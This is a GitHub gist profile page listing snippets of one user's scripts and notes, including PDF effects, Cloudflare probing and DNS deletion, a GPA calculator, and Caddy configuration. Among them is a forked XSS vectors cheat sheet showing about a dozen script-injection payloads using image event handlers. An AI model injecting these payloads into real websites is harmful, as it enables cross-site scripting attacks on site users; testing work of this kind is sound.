Skip to content

Instantly share code, notes, and snippets.

View BirkhoffLee's full-sized avatar
🎓
Learning about CS

birkhoff BirkhoffLee

🎓
Learning about CS
View GitHub Profile
@BirkhoffLee
BirkhoffLee / dirtypdf.zsh
Created March 28, 2025 18:10
Apply scanner effect to a PDF with imagemagick (using nix-shell)
#!/usr/bin/env zsh
# Apply scanner effect to a PDF
# Credits:
# https://gist.github.com/andyrbell/25c8632e15d17c83a54602f6acde2724
# https://github.com/NixOS/nixpkgs/issues/138638#issuecomment-1068569761
dirtypdf () {
if [ $# -ne 2 ]; then
echo "Usage: dirtypdf <input_pdf> <output_pdf>"
@BirkhoffLee
BirkhoffLee / toggle-ipad-mirroring.applescript
Created March 11, 2025 16:26
Toggle iPad Mirroring (Raycast Script Command)
#!/usr/bin/osascript
# Required parameters:
# @raycast.schemaVersion 1
# @raycast.title Toggle iPad Mirroring
# @raycast.mode silent
# Optional parameters:
# @raycast.icon 🖥️
@BirkhoffLee
BirkhoffLee / .env
Last active March 11, 2025 16:53
Delete all Facebook comments of a account of a certain year
OPENAI_API_KEY=sk-proj-xxxx
ANONYMIZED_TELEMETRY=false
@BirkhoffLee
BirkhoffLee / probe.sh
Created June 15, 2023 19:01
Probe Cloudflare colocation for various plans
#!/usr/bin/env bash
lookup() {
ips=$(dig @1.1.1.1 +short $1.cdn.cloudflare.net)
echo "$1:"
for ip in $ips; do
curl -s --resolve $1:443:$ip https://$1/cdn-cgi/trace | grep "colo="
done
echo ""
@BirkhoffLee
BirkhoffLee / cloudflare-delete-all-records.sh
Created June 15, 2023 18:10 — forked from slayer/cloudflare-delete-all-records.sh
Delete all DNS records for specified zone
#!/bin/bash
TOKEN="xxxxxxxxxxxxxxxxxxx"
ZONE_ID=2222222222222222222222222
# [email protected]
# KEY=11111111111111111111111111
# Replace with
# -H "X-Auth-Email: ${EMAIL}" \
# -H "X-Auth-Key: ${KEY}" \
@BirkhoffLee
BirkhoffLee / README.md
Created March 22, 2023 12:27
師大 Cumulative GPA 計算機

使用步驟

  1. 把 main.js 存起來
  2. 在同個資料夾跑 npm install xlsx
  3. 在教務系統載成績報表,然後把報表的 path 放進 main.js 裡面(89 行)
  4. $ node main.js
    [
      [ 2, 4.3 ], [ 2, 4 ],   [ 2, 4 ],
      [ 2, 3.7 ], [ 3, 4 ],   [ 3, 4 ],

[ 3, 3.7 ], [ 1, 4.3 ], [ 3, 1 ],

@BirkhoffLee
BirkhoffLee / xss_vectors.txt
Created December 28, 2022 10:02 — forked from kurobeats/xss_vectors.txt
XSS Vectors Cheat Sheet
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
@BirkhoffLee
BirkhoffLee / Caddyfile
Created December 14, 2022 17:20
Caddy on Docker for SPA website (e.g. Vue Router)
:3000 {
root * /app
try_files {path}.html {path} /index.html
file_server
header {
-server
}
}
@BirkhoffLee
BirkhoffLee / 55-bytes-of-css.md
Created September 26, 2022 08:41 — forked from JoeyBurzynski/55-bytes-of-css.md
58 bytes of css to look great nearly everywhere

58 bytes of CSS to look great nearly everywhere

When making this website, i wanted a simple, reasonable way to make it look good on most displays. Not counting any minimization techniques, the following 58 bytes worked well for me:

main {
  max-width: 38rem;
  padding: 2rem;
  margin: auto;
}
@BirkhoffLee
BirkhoffLee / README.md
Created September 12, 2022 02:32
Install ruby 3.1.2 on M1 with rbenv with homebrew openssl and a mitigation of libtool deprecation